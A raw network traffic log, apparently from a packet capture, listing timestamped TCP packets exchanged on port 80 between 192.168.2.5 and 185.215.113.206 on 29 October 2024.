Oct 29, 2024 02:46:11.912373066 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:11.912404060 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:11.912439108 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:11.912441015 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:11.912441015 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:11.912472963 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:11.912472963 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:11.912488937 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:11.912518024 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:11.912560940 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:11.912590027 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:11.912611008 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:11.912622929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:11.912635088 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:11.912682056 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:11.912709951 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:11.912743092 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:11.912763119 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:11.912780046 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:11.912802935 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:11.912812948 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:11.912834883 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:11.912861109 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:11.913208008 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:11.913263083 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:11.913266897 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:11.913312912 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:11.913315058 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:11.913347960 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:11.913369894 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:11.913393021 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:11.913398027 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:11.913461924 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:11.913928032 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:11.913957119 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:11.913985014 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:11.914021969 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:11.956294060 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:11.956381083 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:11.956451893 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:11.956496000 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:11.956516981 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:11.956527948 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:11.956530094 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:11.956546068 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:11.956551075 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:11.956562996 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:11.956573963 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:11.956578016 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:11.956593990 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:11.956595898 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:11.956618071 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:11.956641912 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.029221058 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.029367924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.029381990 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.029398918 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.029433966 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.029584885 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.029592991 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.029623985 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.029653072 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.029673100 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.029722929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.029777050 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.029779911 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.029812098 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.029834032 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.029844999 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.029879093 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.029879093 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.029898882 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.029942036 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.030406952 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.030441046 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.030463934 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.030473948 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.030486107 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.030519009 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.072824955 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.072906017 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.073002100 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.073015928 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.073055983 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.073087931 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.073116064 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.073153019 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.073167086 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.073167086 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.073193073 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.073209047 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.073276043 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.073288918 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.073327065 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.073357105 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.073416948 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.073467970 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.073481083 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.073498011 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.073513031 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.073530912 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.073561907 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.073561907 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.073942900 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.073956013 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.074003935 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.074003935 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.146536112 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.146573067 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.146606922 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.146641970 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.146640062 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.146675110 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.146680117 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.146698952 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.146718025 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.146724939 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.146780968 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.146967888 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.147001982 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.147017956 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.147036076 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.147047043 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.147089005 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.147238970 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.147273064 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.147293091 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.147306919 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.147339106 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.147356033 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.147449970 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.147501945 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.147501945 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.147533894 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.147569895 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.147571087 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.189963102 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.190035105 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.190093994 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.190128088 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.190155029 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.190175056 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.190337896 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.190392971 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.190397024 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.190426111 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.190443993 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.190460920 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.190478086 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.190495968 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.190520048 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.190529108 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.190540075 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.190562963 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.190586090 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.190606117 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.190984011 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.191011906 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.191046953 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.191046953 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.232841969 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.232923031 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.232975960 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.232975960 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.263541937 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.263557911 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.263572931 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.263595104 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.263611078 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.263619900 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.263645887 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.263650894 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.263665915 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.263700962 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.263700962 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.263983011 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.264017105 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.264067888 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.264115095 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.264131069 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.264147043 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.264162064 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.264168978 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.264199018 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.264218092 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.264574051 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.264590025 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.264604092 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.264632940 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.264662981 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.307094097 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.307128906 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.307156086 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.307162046 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.307193995 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.307193995 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.307352066 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.307385921 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.307404041 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.307420015 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.307426929 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.307472944 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.307506084 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.307538033 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.307550907 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.307588100 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.307590008 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.307656050 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.350078106 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.350176096 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.350210905 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.350212097 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.350249052 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.350249052 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.380969048 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.380984068 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.380997896 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.381021023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.381035089 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.381036043 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.381048918 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.381059885 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.381064892 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.381079912 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.381088972 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.381095886 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.381112099 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.381114960 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.381136894 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.381169081 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.381823063 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.381845951 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.381860971 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.381891966 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.381926060 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.382169008 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.382184029 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.382204056 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.382225990 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.382257938 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.424253941 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.424288988 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.424320936 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.424340010 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.424359083 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.424372911 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.424386024 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.424407005 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.424424887 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.424439907 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.424448013 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.424489975 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.424576044 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.424608946 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.424642086 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.424644947 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.424664021 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.424681902 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.467030048 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.467046976 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.467063904 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.467094898 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.467158079 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.498004913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.498064041 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.498083115 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.498111963 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.498121023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.498167992 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.498219013 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.498274088 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.498276949 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.498326063 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.498327971 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.498362064 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.498373985 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.498395920 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.498413086 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.498450041 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.498708010 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.498761892 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.498775005 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.498827934 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.498907089 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.498956919 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.498965025 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.499001980 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.499008894 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.499042988 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.499057055 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.499077082 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.499092102 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.499130011 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.499468088 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.499547958 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.499581099 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.499588966 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.499588966 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.499619961 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.541860104 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.541944981 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.541980028 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.542015076 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.542021990 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.542021990 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.542048931 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.542063951 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.542063951 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.542083025 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.542089939 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.542130947 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.542136908 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.542165995 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.542179108 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.542212009 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.584156990 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.584173918 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.584187984 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.584239006 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.584274054 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.615078926 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.615197897 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.615221977 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.615247011 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.615247965 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.615283012 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.615299940 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.615331888 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.615334988 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.615365028 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.615398884 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.615413904 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.615413904 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.615431070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.615447998 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.615466118 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.615473986 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.615510941 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.615890980 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.615925074 CET	80	49704	185.215.113.206	192.168.2.5
